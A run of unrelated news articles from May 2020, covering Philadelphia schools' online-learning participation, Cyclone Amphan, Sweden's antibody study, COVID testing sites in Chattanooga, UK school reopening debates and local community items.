In a survey that drew responses from 117 charter and private  primarily Catholic  schools that received Chromebooks donated by the nonprofit, it found that most launched online learning by the end of March, about two weeks after Gov. Tom Wolf ordered all commonwealth schools to close.

Student participation rates for those 117 schools in either the last week of April or first week of May were 78% for K-3 students, 80% for students in grades 4-8, and 69% of high schoolers, according to results of the survey released this week.

The Philadelphia School District, which officially began teacher-led instruction May 4, reported 57% of its students participated that week  including 48% of students in K-8 schools, and 73% in middle and high schools. It said participation had increased to 61% for the week of May 11.

 READ MORE: Whos showing up for school during the pandemic? In Philly, its just over half of students.

The Philadelphia School Partnership is an influential nonprofit that donates millions to charter, private, and other city schools. Its executive director, Mark Gleason, attributed the participation rates among private schools and charters  which are publicly funded but independently run and educate about 70,000 Philadelphia students  in part to their smaller size.

"Scale matters in a crisis, Gleason said, comparing that population to the 130,000 students who attend the citys traditional public schools. The larger the system, the harder it is to introduce dramatic change.

Families paying tuition also expect private schools to deliver, Gleason said.

Philadelphia School Partnership said 70 charter campuses, 41 Catholic schools, and six other private schools completed its survey. The schools indicated at least 80% of students had broadband internet access at home. And the schools often serve a different demographic: A report last year by the Education Law Center found that new Philadelphia charters enrolled fewer economically disadvantaged students, students with severe disabilities and English language learners than the traditional public schools.

But thousands still lack access, Gleason said.

Schools have to accept that as a cost of being a school in the COVID era, internet service for students at home is essential, he said.

Half of charters in the survey said they are paying for internet service or mobile hotspots for families. Philadelphia School Partnership has distributed 15,000 Chromebooks to charter and private schools.

Monica Lewis, a Philadelphia School District spokesperson, said the district has been committed to educating Philadelphia public school students throughout the pandemic, including by working to secure funding for Chromebooks.

Still, Superintendent William R. Hite Jr. has acknowledged the technology challenges. He told City Council this week that internet access should be free for all students, and that the district had unsuccessfully appealed to Comcast and other internet providers to open their WiFi networks.

 READ MORE: Philly schools chief says internet providers refuse to open their networks so students can access education

School leaders said communicating with families is also key to ensure participation. The Universal charter network, which launched virtual school for its seven charters and 4,300 students on April 13, directed its principals to make daily phone calls to parents.

By no means am I going to sit here and tell you this was an easy process," Superintendent Penny Nixon said. But we set the bar really high for kids and families. Participation in the virtual program  which includes live lessons, as well as assignments for students to work at their own pace  has ranged from 73% of elementary students, to 85% of middle and 83% of high school students, Nixon said.

At Ad Prima Charter School, which has campuses in Mount Airy and Overbrook, students are expected to be online from 8 a.m. to 4 p.m.  same as a regular school day, said CEO Niya Blackwell. If they dont log on by 8:30 a.m., were calling the home." Blackwell said "it was hard for parents in the beginning, but families have adjusted. Attendance at the charter, which has 650 students, has climbed from the 80% range to 90%.

The citys largest charter network, Mastery, said about 75% of elementary students and between 50% to 75% of high school students across its 24 schools in Philadelphia and Camden participated in online learning last week. When it launched in late April, participation was in the 50-60% range, said CEO Scott Gordon.

The network has focused on connecting with families, Gordon said, and some teachers have taken creative approaches to boost engagement  like a Mastery Pastorius elementary teacher who delivered cheesesteaks to reward students for completing assignments.

Our goal is that every single student is engaged in learning regularly," Gordon said. "Every child whos not is a crisis.
Amphan: Kolkata devastated as cyclone kills scores in India and Bangladesh

May 22,2020 | Source: BBC News

The eastern Indian city of Kolkata has been devastated by a powerful cyclone which has killed at least 84 people across India and Bangladesh.



Amphan made landfall on Wednesday, lashing coastal areas with ferocious wind and rain. The storm is weakening as it moves north into Bhutan.



Thousands of trees were uprooted in the gales, electricity and telephone lines brought down and houses flattened.



Many of Kolkata's roads are flooded and its 14 million people without power.



he storm is the first super cyclone to form in the Bay of Bengal since 1999. Though its winds had weakened by the time it struck, it was still classified as a very severe cyclone.



Coronavirus restrictions have been hindering emergency and relief efforts. Covid-19 and social-distancing measures made mass evacuations more difficult, with shelters unable to be used to full capacity.



Amphan began hitting the Sundarbans, a mangrove area around the India-Bangladesh border home to four million people on Wednesday afternoon, before carving north and north-eastwards towards Kolkata, a historic city that was the capital of the British Raj and widely known as Calcutta.



Parts of West Bengal and Orissa (also known as Odisha) states in India, and areas in south-west Bangladesh, bore the brunt, with winds gusting up to 185km/h (115mph).



At least 72 people have died in India's West Bengal state, and 12 deaths have been confirmed in Bangladesh.



West Bengal chief minister Mamata Banerjee said the devastation in Kolkata, the state capital, was "a bigger disaster than Covid-19".



"Area after area has been ruined," Ms Banerjee was quoted as saying by the Press Trust of India news agency. "I have experienced a war-like situation today."



Three districts in West Bengal - South and North 24 Parganas and East Midnapore - were very badly hit.



In Bangladesh, there are reports of tens of thousands of homes damaged or destroyed and many villages submerged by storm surges in low-lying coastal areas like Khulna and Satkhira. The authorities evacuated nearly 2.5 million people ahead of the cyclone.



Initial assessments of the damage are being hampered by blocked roads and flooding in all these areas.



Images shared on social media showed electricity transformers exploding in busy neighbourhoods as the storm swept the city.



"Thank God, we are safe," said one resident, who shared footage of tiled roofs being peeled off by the force of the wind and blown away.



Local news networks showed uprooted traffic lights in flooded streets, as well as river jetties torn apart and vehicles crushed under fallen trees.



Officials in Bangladesh feared Amphan would be the deadliest storm since Cyclone Sidr which killed about 3,500 people in 2007. Most died as a result of sea water surging in.



India's weather department had predicted storm surges as high as 10-16 feet (3-5 metres) from Amphan. The rising of sea levels in this way can send deadly walls of water barrelling far inland, devastating communities.



The total level of devastation in Bangladesh remains to be assessed but it's clear that there has been widespread destruction in areas that were in the path of the storm. In the city of Khulna, north of the Sundarbans, at least 83,000 homes were either destroyed or damaged, the Dhaka Tribune reports.



Fewer people appear to have been killed than in India but the government fears about $1.5bn worth of damages, the newspaper says.

 2020 BBC

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By KY Senator Danny Carroll

May. 22, 2020 | PADUCAH

By KY Senator Danny Carroll May. 22, 2020 | 10:25 AM | PADUCAH

The following is entirely the work of the author, and does not necessarily reflect the views of the news staff at West Kentucky Star.



On this Memorial Day, honor the brave service members who have given their lives so that we may enjoy freedom. We have all lived with new health and safety precautions over the past several months. In light of that, our appreciation for the liberties for which these brave men and women died should be as visible as ever. We are blessed to live as citizens of both the United States and the Commonwealth of Kentucky, and that is due to the sacrifices of others.



Memorial Day was established to honor those who perished in the Civil War, which claimed more lives than any conflict in U.S history. In May 2000, a "National Moment of Remembrance" was established as an opportunity for citizens to join together and memorialize the brave service men and women who have lost their lives in the line of duty. This Memorial Day at 3 p.m. local time, citizens across the United States are encouraged to pause for a moment of silence to honor our fallen heroes. We also honor the families of these heroes who live on and continue to preserve the memories of their loved ones. Families who have lost loved ones in the line of duty are known as "Gold Star Families."



The Kentucky General Assembly strives to honor our military heroes by implementing policies that make our Commonwealth a welcoming place for active service members, veterans, and their families. During the 2020 legislative session, funding was secured to cover pre-construction costs for the Bowling Green Veterans Center. Legislation was also passed that allows military members to count a home they are building as a residence for public school enrollment purposes, ensuring their children's education continues smoothly without the hassle of red tape. In past sessions, legislation was signed into law granting occupational license reciprocity to members of reserve forces, National Guard, veterans, and their spouses. Finally, the General Assembly recently passed a bill to allow military paramedics to use their training toward a civilian paramedic certification.



As state restrictions begin to relax, I encourage you to continue to exercise safe practices as you enjoy Memorial Day with loved ones. In memory of our fallen heroes, may we all appreciate the blessings of freedom like never before. President John F. Kennedy once said:



"As we express our gratitude, we must never forget that the highest appreciation is not to utter words but to live by them."



It is my honor to serve as your state senator. I wish you and your family a safe and blessed Memorial Day weekend.



If you have any questions or comments about these issues or any other public policy issue, please call me toll-free at 1-800-372-7181 or email me at danny.carroll@lrc.ky.gov.
People sit in a restaurant in Stockholm on May 8.

JONATHAN NACKSTRAND/AFP via Getty Images)

A new study by Sweden's public-health agency found that just 7% of people in Stockholm had developed coronavirus antibodies by the end of April.

Swedish forecasters had predicted that up to half of the population would catch the virus by May.

Experts say at least 60% of a population needs to catch the virus before any protective immunity can be achieved.

Tom Britton, a professor who helped develop the agency's model, told a Swedish newspaper that it was "surprising" that the forecasts "are so wrong."

Visit Business Insider's homepage for more stories.

A new study suggested that only a small percentage of people in Sweden's capital, Stockholm, had developed coronavirus antibodies, casting doubt over whether the country's avoidance of strict lockdown measures is helping the population develop a significant level of immunity.

The study, based on 1,100 tests across Sweden and carried out by the country's public-health agency, found that just 7.3% of people in Stockholm had developed antibodies, Reuters reported on Wednesday.

Experts say populations can achieve so-called herd immunity to a virus when about 60% of people have caught it.

Tom Britton, a professor who helped develop the agency's forecasting model, acknowledged that the calculations may have been wrong.

"It means either the calculations made by the agency and myself are quite wrong, which is possible, but if that's the case it's surprising they are so wrong," he told the Swedish newspaper Dagens Nyheter, according to The Guardian. "Or more people have been infected than developed antibodies."

Britton had previously suggested that about half of the country could become infected by the end of April.

Sweden this week overtook the United Kingdom, Italy, and others to become the country with the highest number of coronavirus deaths per capita.

Unlike most other European countries, Sweden has not implemented strict, wholesale lockdown measures in response to the coronavirus pandemic. Instead, the country has largely allowed businesses to remain open and students to attend school.

Story continues

It has also taken a more relaxed approach to testing than most other countries. The Swedish government has a modest target of carrying out 100,000 tests a week and has focused mainly on testing healthcare workers and people who are hospitalized, Reuters said.

The Swedish government has said it is not aiming only for herd immunity but that it could slow the spread of the virus enough to ensure that the capacity of its health service is not breached.

Herd immunity 'is a long way off, if we ever reach it'

Anders Tegnell of Sweden's Public Health Agency.

ANDERS WIKLUND/TT News Agency/AFP via Getty Images

The new findings challenge proponents of the herd-immunity strategy.

Bjorn Olsen, a professor of infectious medicine at Uppsala University, told Reuters, "I think herd immunity is a long way off, if we ever reach it."

However, Anders Tegnell, the country's head epidemiologist, told reporters that the findings reflected the situation in April and that he thought about 20% of people in Stockholm had now caught the coronavirus, The Guardian reported.

The Swedish government has insisted that its strategy will pay off in the long run.

Earlier this month, Tegnell, who leads the public-health agency, told the Financial Times that while countries that imposed strict lockdowns would likely suffer large second waves later in the year, Sweden's would be smaller.

"In the autumn there will be a second wave," Tegnell said. "Sweden will have a high level of immunity and the number of cases will probably be quite low."

Tegnell said that Finland, Sweden's neighbor, "will have a very low level of immunity."

"Will Finland have to go into a complete lockdown again?" he said.

Sweden's public-health agency has predicted that 40% of people in Stockholm will have caught the COVID-19 virus by the end of this month, The Times of London reported on Thursday.

Business Insider
Published on 2020/05/21 | Source

Actor Choi Jin-hyuk expressed his feelings after the end of the OCN drama "Rugal".

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Through his agency on the 20th, Choi Jin-hyuk said, "I am happy to have played the role of a 'science action hero' for the first time in Korea".

"I am thankful to the producers, directors, seniors, juniors and all the staff members who worked so hard for the past 7 months from winter to spring".

He explained, "There were a lot of action scenes combined with CG that I had to go through physically, but we worked together several times to get closer to perfection", he said. "In the process of realizing the original webtoon, I thought a lot about how to express the character of Kang Ki-beom".

Meanwhile, "Rugal" was praised for opening a new horizon in the genre of 'science action hero', which is somewhat unfamiliar to Korea. In "Rugal", Choi Jin-hyuk played the role of Kang Ki-beom, a key member of the human weapon team Rugal with a special artificial body part. He expressed not only the colorful action, but also the boiling vengeance of the painful past and the hidden secret in a captivating performance.

___________

"Rugal" is directed by Kang Cheol-woo, written by Do Hyun-I, and features Choi Jin-hyuk, Park Sung-woong, Jo Dong-hyuk, Jung Hye-in, Kim Min-sang, Han Ji-wan. Broadcasting information in Korea: 2020/03/28~2020/05/17, Sat, Sun 22:50 on OCN.
BEREA, Ohio -- The citys Coe Lake Park is a particularly popular destination for hikers and dog walkers. Chances are that anyone who has visited recently has taken note of the parks new DogiPot stations.

The stations make it easy and convenient for dog owners to clean up after their pets while visiting the park.

With the theme of cleaning up after your dog in mind, the Cuyahoga Soil & Water Conservation District is hosting the Crappiest Dog Photo Contest from Memorial Day to Labor Day.

The contest asks participants to take a pledge to pick up their dog waste and dispose of it properly, then send in a few sentences and a photo capturing their dogs weird pooping behaviors.

According to CSWCD staff, dogs often do weird things when they poop, including locking eyes with their human and often spinning around while engaging in a type of bunny kick.

Contestants will receive a dog bandana that reads, This is a nudge to clean up my fudge.

CSWCD staff will pick the winners in September and award prizes, including a dog photo shoot, a copy of photographer Greg Murrays book Pit Bull Heroes and more.

People love their dogs, and and we want to hear about it, said Amy Roskilly, CSWCDs conservation, education and communications manager.

The agency says there are over 90,000 registered dogs in Cuyahoga County and that a dog poops twice a day, on average. Thats 45 tons of doggie droppings per day.

When rain and snow melt, the droppings and accompanying bacteria are washed into nearby waterways, polluting local rivers, streams and Lake Erie.

The pledge, bandana and contest bring awareness to the issue of dog waste and encourage dog owners to clean up after their pets.

For more information and to enter the contest, visit www.cuyahogaswcd.org and click on Crappiest Dog Photo Contest.

Produce distribution: St. Thomas Episcopal Church, 50 E. Bagley Road in Berea, will host a produce distribution from 2 to 4 p.m. June 4 in the parking area at the rear of the church on Liberty Street.

The food is provided by the Greater Cleveland Foodbank and may be accessed by anyone in the Greater Cleveland area who complies with federal income regulations.

Volunteers packing the food for distribution are from St. Thomas Church and Berea Kiwanis.

Those who wish to take advantage of the free produce are urged to bring their own bags with them in order to comply with the proposed regulation doing away with plastic bags, which have a negative effect on the natural environment.

While we dont have any idea of what produce will be shipped to us, we are always sure it is edible, a food bank spokesperson said, explaining that "residents will need to have identification to be entered into our computers to make the next distribution session easier.

St. Thomas Episcopal Church does not pay for the produce, but it is responsible for its distribution.

New graduates: James Matthews of Middleburg Heights and Alex Bade of Berea were among Northeast Ohio Medical University graduates receiving degrees in a special virtual ceremony on May 2.

They are among the universitys newest physicians, pharmacists, medical researchers and other professionals who earned degrees as part of the universitys 40th graduating class.

Deans List: Rachel Gardner of Middleburg Heights has been named to the spring 2020 Deans List at Mansfield University.

To be named to the dans List, a student must be attending the university full-time and attain at least a 3.5 grade point average for the semester.

Mansfield University is a member of the Pennsylvania State System of Higher Education. For more information visit mansfield.edu.

New graduates: Pamela Ciccarello of Middleburg Heights has received a Master of Arts degree from Ashland University following spring semester classes. Ciccarello majored in Corporate & Strategic Communication.

Morgan Tinnirello of Middleburg Heights has received a Bachelor of Science degree in education from Ashland University following spring semester classes. Tinnirello majored in middle grades education and graduated with Cum Laude Gamma Alpha Kappa honors. She is a 2016 Berea-Midpark High School graduate.

William Boone of Berea is the recipient of a Master of Arts degree from Ashland University following spring semester classes. Boon majored in American history and government.

Miranda Meadows of Brook Park has earned a Bachelor of Science degree and graduated magna cum laude in neuroscience from the University of Mount Union. Meadows was one of 526 graduate and undergraduate students who were included in the Universitys virtual graduate celebration. The university is committed to holding a formal commencement ceremony for these graduates at a later date when deemed safe to do so. For more information visit mount union.edu/commencement.

Provost List honoree: Alyse Hancock-Phillips of Berea has been named to the Provosts List of honorees for Capital Universitys spring 2020 semester.

Take a look: if youre a Berea, Brook Park or Middleburg Heights resident who has been wondering what the new Berea High School and Brook Park Elementary School buildings now nearing completion look like inside and out, take Steve Dockmans Facebook tour (keep scrolling down until you see photos of the new buildings.)

Both buildings are amazing, Dockman said, adding that crews are still working hard and on schedule to finish this year, even with everything going on.

Summer lunches: May is Summer Lunch Sack Sign-Up Month. A representative of Audreys Outreach, 16845 Holland Road in Brook Park, will be on hand from 9:30 a.m to 12:30 p.m. Wednesdays and Thursdays.

This is a program for families in the Berea School District who are on the free or reduced-priced meal program and/or are struggling to feed their children during the summer months.

For more information, visit TheLunchSackProgram@gmail.com

SCAN pantry hours: The SCAN Hunger Pantry, 398 W. Bagley Road, Suite 7, in Berea, has hours of operation from 10 a.m. to 3 p.m. on the second Friday of the month and from 4 to 7 p.m. on the fourth Friday of the month.

Outreach Pantry hours: The Berea Community Outreach Food Pantry, 535 Wyleswood Drive (at front of Smith School), is open from 11:30 a.m. to 4 p.m. Thursdays. For more information, call 440-826-4891.

Middleburg Heights pantry: The Middleburg Heights Food Pantry at 7000 Paula Drive is open to serve clients from 10 a.m. to noon Tuesdays and 5 to 7 p.m. Thursdays.

Please email information (people photos, too. Include IDs) on items youd like to see included in Around The Town to richatsun@gmail.com.

Read more from the News Sun.
A woman looks to get information about a job application in front of an Illinois Department of Employment Security WorkNet center in Arlington Heights, Ill., last month. (Nam Y. Huh / Associated Press)

A complaint circulating among business owners is that they're having trouble restarting because the workers they laid off during the pandemic aren't willing to come off of unemployment.

The blame, they say, lies with the $2.2-trillion Coronavirus Aid, Relief, and Economic Security Act that Congress passed in late March, which increased unemployment benefits by $600 per week until July 31 (a date that once seemed like a reasonable approximation of the end of the crisis  sigh). The equivalent of an extra $15 per hour, the extra money has made it more lucrative for low-wage workers to be on the dole than on the job.

Many Republican lawmakers and President Trump are certainly persuaded; Sen. Lindsey Graham (R-S.C.), an often reliable weathervane for GOP pique, said the extra benefit would be extended "over our dead bodies." (The Hill noted Friday, however, that the sentiment is not unanimous among Graham's colleagues.) Meanwhile, Treasury Secretary Steven Mnuchin has said flatly that unemployed workers would lose their benefits if they refused to be rehired.

It's undeniable that the federal bonus gives minimum-wage workers in every state more than they made before they were laid off. In fact, in all but a dozen high-wage states (including California), the bonus raises unemployment benefits high enough to equal or exceed the average worker's pay. Meanwhile, studies show that the pandemic-related job losses have been concentrated in low-paying service and retail industries.

At this point, there doesn't appear to be any way to quantify how large a problem this is for employers who are trying to rehire. All we have are anecdotes, albeit plenty of them, making it easy to get mad at the supposed goldbrickers undermining small businesses and holding back our economy.

But there's also plenty of misinformation that needs to be dispelled, and anger that's misdirected.

For starters, states don't allow laid-off workers to just keep collecting unemployment benefits after their employer asks them to come back. There must be special circumstances for them to refuse a job offer and retain unemployment benefits (more on that in a minute). So to the extent that laid-off workers are holding out and preventing their employers from restarting, it's either because the mechanisms for enforcing that requirement aren't working or because special circumstances are the problem.

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And regardless of what Mnuchin says, the federal government can't flick a switch on unemployment benefit eligibility. According to Glenn Spencer, senior vice president of the U.S. Chamber of Commerce's employment policy division, the Department of Labor signs off on state unemployment insurance plans once a year to make sure they are in compliance with federal law. Then it's up to states to implement and enforce them.

Mnuchin appears to believe the problem is in enforcement. He has called for businesses that receive forgivable Paycheck Protection Program loans to alert state unemployment agencies about laid-off workers who won't come back to their jobs. The underlying assumption seems to be that the country is rife with people willing to commit unemployment insurance fraud.

Which brings us back to special circumstances. According to the COVID-19 guidance issued by the California Employment Development Department, "if your employer has complied with the states requirements for reopening, and any and all government safety regulations, you may not have good cause to refuse to return to work and could be disqualified from continuing to receive regular [unemployment] benefits for a designated period of time."

But one "good cause" would be your employer not following the state's guidelines for safely reopening (e.g. it's trying to open in violation of local stay-at-home orders, or it hasn't made arrangements for safe distancing in the workplace). Another would be "if you are at greater personal risk" because of health conditions identified by the California Department of Public Health, such as a deficient immune system. A third would be "childcare or transportation problems that you could not resolve."

The latter category is a hugely important one, given that schools are shuttered and many childcare providers are struggling to stay in business during the pandemic. Many idled workers who want to go back to their jobs may find it impossible to do so because they have no one to care for their children or fear putting them in childcare centers.

In California's view, such workers are still eligible for unemployment benefits because they haven't been offered "suitable" work. That's one approach to the issue. Another is to shift those workers onto a different, entirely federally funded program, called Pandemic Unemployment Assistance, which would pay them the same level of benefits. Either way, though, the workers remain sidelined.

The fundamental issue here is whether more people will go back to work if unemployment benefits are cut back to normal, where they range from $213 per week in Alabama to $555 in Massachusetts (the national average is $378). That's roughly 40% of the median wage.

You could argue that the incentive to work would be dramatically higher, but that would matter only if jobs were plentiful and the barriers to work (such as a lack of childcare) were few. And when the economy is in a deep hole, as it is today, sharply reduced unemployment benefits for tens of millions of unemployed Americans mean less spending, less demand and less economic activity.

That's one thing opponents of the added benefits seem to be forgetting. Lawmakers didn't toss in the extra $600 a week because they wanted to make life cushy for laid-off low-wage workers. They did it to try to keep the economy going in spite of the collapse in demand.

That extra money won't get stuffed into a mattress; it will buy food and clothes, pay bills, cover health insurance deductibles and otherwise flow into and through the economy. And considering that millions of the recipients are in low-wage industries, the recipients are more likely to spend the money quickly and fully than the middle-income families that received $2,400 or more in stimulus checks from the CARES Act.

There's no doubt that some people who've been laid off will try to game the system, especially if they were in dead-end jobs they hated. But it's a mistake to assume that goldbrickers abound and that the only thing standing between us and a vibrant economy is the disincentive posed by the extra $600 in weekly unemployment benefits.

The bigger challenge for us at the moment  and for months to come  is generating the demand for goods and services that will enable businesses not just to reopen, but to stay open and get back to full capacity.

The stay-at-home orders were well intended, but they have suffocated the economy. Laid-off workers are among the victims, not the villains. And as long as unemployment is at panic levels, the federal government can't afford to take its foot off the gas.
The Hamilton County Health Department is closing their COVID-19 testing site at the Bonnyshire Emissions Testing Center and relocating this service to four different Hamilton County schools: Brainerd High School, East Lake Academy, Hardy Elementary, and Orchard Knob Elementary.

The move comes about as vehicle emissions testing prepares to resume across the state. The Health Department would like to thank its partner Opus Inspections for allowing use of the facility.

Since launching our COVID-19 testing on April 3rd, we have tested several thousand people through our Bonnyshire site, said Health Department Administrator Becky Barnes, Our new locations are centrally located within the most populated area of the county and will allow us to test thousands more. The new sites will be easily accessed by walk-up, drive-up, or by public transportation.

None of the testing will occur inside the school buildings. Testing will be performed in drive-through or walk-up tents in the parking lots. The Chattanooga Police Department will continue to provide traffic support at each site.

Each of the new sites will operate between 7 a.m.-11 a.m. No appointment is required, no physician referral necessary, and no symptoms need be present. Walk-ups and drive-ups are allowed. All testing is free.

Officials said, "Please do not call the Hamilton County Department of Education about this service. All questions should be directed to the Health Departments COVID-19 hotline at (423) 209-8383."

Hardy Elementary School - 2100 Glass St, Chattanooga, TN 37406

Monday-Sunday the following dates:

(Tuesday-Sunday the week of Memorial Day)

Hours: 7 a.m.-11 a.m.

May 26-May 31

June 8- June 14

June 22-June 28

July 6- July 12

July 20-July 26

East Lake Academy of Fine Arts - 2700 E 34th St, Chattanooga, TN 37407

Monday-Friday the following dates:

Hours: 7 a.m.-11 a.m.

May 26- May 29

June 8- June 12

June 22- June 26

July 6 - July 10

July 20- July 24

Brainerd High School - 1020 N Moore Rd, Chattanooga, TN 37411

Monday-Sunday the following dates:

Hours: 7 a.m.-11 a.m.

June 1 - June 7

June 15-June 21

June 29- July 5

July 13-July 19

July 27-August 2

Orchard Knob Elementary School - 2000 E 3rd St, Chattanooga, TN 37404

Monday-Friday the following dates:

Hours: 7 a.m.-11 a.m.

June 1- June 5

June 15-June 19

June 29- July 3

July 13-July 17

July 27- July 31

The new COVID-19 testing sites will operate through July 2020.

For questions about COVID-19 testing and information, call the COVID-19 hotline at (423) 209-8383.

For information about Tennessee resuming emissions testing, visit their website.
The government's SAGE experts have warned the 'shock' of school closures are blighting a generation and suggested children are at low danger from coronavirus.

Evidence produced by the Scientific Advisory Group on Emergencies highlights the wider damage being caused to young people by the halt to their education.

Although they admit there is no certainty, a raft of papers suggest that children are less likely to be infected and infectious than adults, and teachers do not seem at heightened risk.

The documents, prepared in the weeks up to May 1, float the idea of splitting classes in half and having children attend schools alternate weeks, saying that could slash the effect on the coronavirus 'R' number.

Ministers hope publishing the documents will reassure the public about plans to start reopening schools from June 1. But unions insisted the SAGE evidence was 'inconclusive' and demanded delay.

Downing Street also effectively conceded that many schools will opt not to bring back reception, year one and year six as Boris Johnson has suggested. The PM's spokesman said they would 'trust' headteachers to make decisions about how to proceed.

Tory MPs are increasingly turning on Education Secretary Gavin Williamson over his handling of the situation. One told MailOnline he should have been laying the ground with the unions for weeks as they were known to be 'very belligerent and very left-wing'. 'Gavin is screwing up. There has been a huge eff up here,' the senior MP said.

'Boris didn't just bounce him into it in 24 hours.'

Data shows that children have made up a tiny proportion of hospital patients with COVID-19, and an even smaller number of deaths from the coronavirus. Experts say children appear to be at a lower risk of catching and spreading the disease

An assessment of various models of the impact of changes on the R rate shows the impact, on a scale of zero to one, would be 0.24 if classes were split and attended alternate weeks

A paper produced for a SAGE subgroup on schools for April 16 warns that 'a cohort of children have experienced a shock to their education which will persist and affect their educational and work outcomes for the rest of their lives'

This is how social distanced desks will look at Holywell Village First School in Northumberland

Leading Cambridge University expert says risk for children catching COVID-19 is 'unbelievably low' The risk of children catching coronavirus is 'unbelievably low', according to one of the UK's top experts. Eminent statistician Sir David Spiegelhalter said data has also shown that teachers do not have a greater risk of becoming infected. The University of Cambridge professor's testimony comes amid an explosive row over the reopening of schools next month. Professor Spiegelhalter pointed out that just one out of 7million children aged four to 14 in England and Wales has died from COVID-19. He also claimed children carry just a fraction of the viral load compared to adults, which significantly reduces their ability to fall ill or infect others. Professor Spiegelhalter told the BBC: 'There have been, based on the data so far, extremely low risks to children. Out of 7million five to 14-year-olds in England and Wales, so far the number of death certificates revealed with Covid on it is one. 'There will be more [that haven't been confirmed], but there is still an extremely low risk. Of course we must remember this group of kids are staggeringly safe in general, less than one in 10,000 die every year. Nobody's ever been safer in the history of humanity than this group of kids.' Professor Spiegelhalter said that at least one child had died from a rare inflammatory illness linked to coronavirus, but reassured parents that the risk of the complication would now be 'much lower now the epidemic in the community is under control.' Asked about whether teachers and parents were being put at risk by schools reopening, the Cambridge professor said data suggested not. He added: 'The Office for National Statistics analysed Covid risks by occupation - some have higher risks, including bus drivers and care home workers.' But teachers were not included in this category, he said. 'Of course people are anxious about the rest of the family, but in healthy young parents aged between 20 and 40, there have only been about 30 death so far out of 30,000 who don't have existing conditions. 'There's about a three in a million chance of risk of death. That's a measurable risk, but in a sense it's a manageable risk... it's not overwhelming at all.' Advertisement

Speaking at the Downing Street briefing this evening, Chief scientific adviser Sir Patrick Vallance said reopening schools was likely to push the R rate up.

But he stressed that was the case for any change to lockdown, and schools were 'not a high risk area for R'.

He said coronavirus was a 'long term epidemic' and 'schools have to get back for education for our young people at some point'

Sir Patrick said: 'The risk for children (from coronavirus) is much lower - we know that.

'They are at low risk but not zero risk and there have been some serious cases of children, of course, but very few compared to adults and older age groups.

'The broader risk in terms of opening schools is that as soon as you introduce any contact, you put pressure on the R and you put pressure on numbers, and that's true of anything we are going to do in terms of changes to contact.'

He also delivered a shot across the bows of the government by noting that having test in trace in place was important when you were modifying lockdown.

Many of the concerns about schools returning appear to be over the knock-on impact on social distancing, with more mixing of families and parents returning to work.

A paper produced for a SAGE subgroup on schools for April 16 warns that 'a cohort of children have experienced a shock to their education which will persist and affect their educational and work outcomes for the rest of their lives'.

'Similarly, the current lockdown may lead to an increase in adverse childhood experiences... for example: domestic violence, poor parental mental health,child neglect or abuse.'

The report, prepared by experts from University College London, King's College London, the London School of Hygeine and Tropical Medicine, and the University of Exeter, said such experiences were 'associated with worse long-term health outcomes, and will likely exacerbate existing societal inequalities (eg. across deprivation)'.

The group said it 'cannot be clear' the extent to which schools can be reopened without fuelling the virus.

Although the risk to pupils going back to school was 'very, very small' it was 'not zero'.

An assessment of various models of the impact of changes on the R rate shows the impact, on a scale of zero to one, would be 0.24 if classes were split and attended alternate weeks.

If half the class went in in the morning and half in the afternoon that would rise to 0.4. The maximum impact of one would be if schools came back completely.

A document from a behavioural insight meeting on May 1 said: 'Although not initially one of the options proposed by DfE, options 7b (classes split in two, with children attending on alternate weeks) emerged from the joint discussions as having particular potential merit for further consideration.'

The findings will likely add to arguments with unions over whether it is safe for children to return, and if it can be achieved without triggering another flare up of the virus.

The files emerged as a SAGE source claimed Government plans to reopen primary schools are grounded in welfare concerns rather than evidence younger pupils are less vulnerable.

In the first phase of his back-to-school blueprint, Boris Johnson wants children in England in reception, Year 1 and Year 6 to go back to class on June 1.

However, the exact shape of the reopening is being left in the hands of headteachers.

Teaching unions have been threatening to boycott the move over safety fears, while a slew of councils have said they will not fall into line. Nicola Sturgeon has said schools in Scotland will not reopen until August, after the usual summer holiday north of the border.

According to the SAGE papers, evidence on how likely children are to transmit Covid-19 remains 'inconclusive'.

Wider contextual issues - including whether families have black, Asian and minority ethnic (BAME) members - must be taken into account when assessing the impact of relaxing school closures on transmission.

Teachers do not appear to be at a greater risk of catching Covid-19 than other professions - but there is still some risk.

Key points from the SAGE documents on school reopening Evidence on how likely children are to contract and transmit Covid-19 remains 'inconclusive'.

Wider contextual issues - including whether families have black, Asian and minority ethnic (BAME) members - must be taken into account when assessing the impact of relaxing school closures on transmission.

Teachers do not appear to be at a greater risk of catching Covid-19 than other professions - but there is still some risk.

The Sage papers suggest that younger teachers' attendance in schools could be prioritised in order to decrease the likelihood of infection for school staff in more vulnerable groups.

The documents float the idea of splitting classes in half and having children attend schools alternate weeks, saying that could slash the effect on the coronavirus 'R' number.

A paper produced for a SAGE subgroup on schools for April 16 warns that 'a cohort of children have experienced a shock to their education which will persist and affect their educational and work outcomes for the rest of their lives'. Advertisement

The Sage papers suggest that younger teachers' attendance in schools could be prioritised in order to decrease the likelihood of infection for school staff in more vulnerable groups.

The publication of the advice comes after education unions and council leaders called for the evidence underpinning the proposal to reopen schools in England to be released.

'Evidence remains inconclusive on both the susceptibility and infectivity of children, but the balance of evidence suggests that both may be lower than in adults,' one paper said.

Joint Secretary of the National Education Union (NEU) Dr Mary Bousted claimed the SAGE evidence showed the planned return was 'too soon'.

'We think it's just descending into chaos now and it's not funny,' she told Sky News.

'The evidence is still not there, we now have the Independent Sage Committee saying give it two weeks then we'll have half as much chance of catching the virus.'

Dr Bousted added in a statement: 'This points to a cavalier attitude towards the nation's children.

'The fact of the matter is that Sage has only weak evidence as to what extent children can transmit the virus to others...

'If we cannot be certain about the transmission of the virus - and it appears Sage cannot, either - then it is only right to exercise caution.'

Meanwhile, a separate study has found children have half the chance of catching coronavirus as adults.

University College London researchers analysed 6,000 studies looking into the link between the viral disease and children.

They found the risk of catching COVID-19 in children and teenagers was 56 per cent lower compared to adults over 20.

The scientists say their findings imply children are likely to play a lesser role in transmission of the disease because fewer of them get infected in the first place.

Lead author Professor Russell Viner told a press conference ahead of the paper's publication today that the results show the 'balance of risks for children is strongly towards a return to school'.

The UCL team are the latest experts to throw their support behind Boris Johnson amid a furious row about English schools restarting in June.

Eminent statistician Sir David Spiegelhalter, from Cambridge University, also claims the risk for children catching COVID-19 is 'unbelievably low'.

Yet the PM has faced ferocious backlash from parents and teaching unions for his plan to get children in reception, year 1 and year 6 back to school on June 1.

Scores of councils have refused to reopen amid fears pupils will spread the virus between each other, their teachers teachers and families.

Children have half the chance of catching coronavirus as adults, leading British scientists have found (Primary school children in Nice, France)

In the largest study of its kind, UCL scientists analysed 6,000 international scientific papers looking into children's susceptibility to infection and severity of illness.

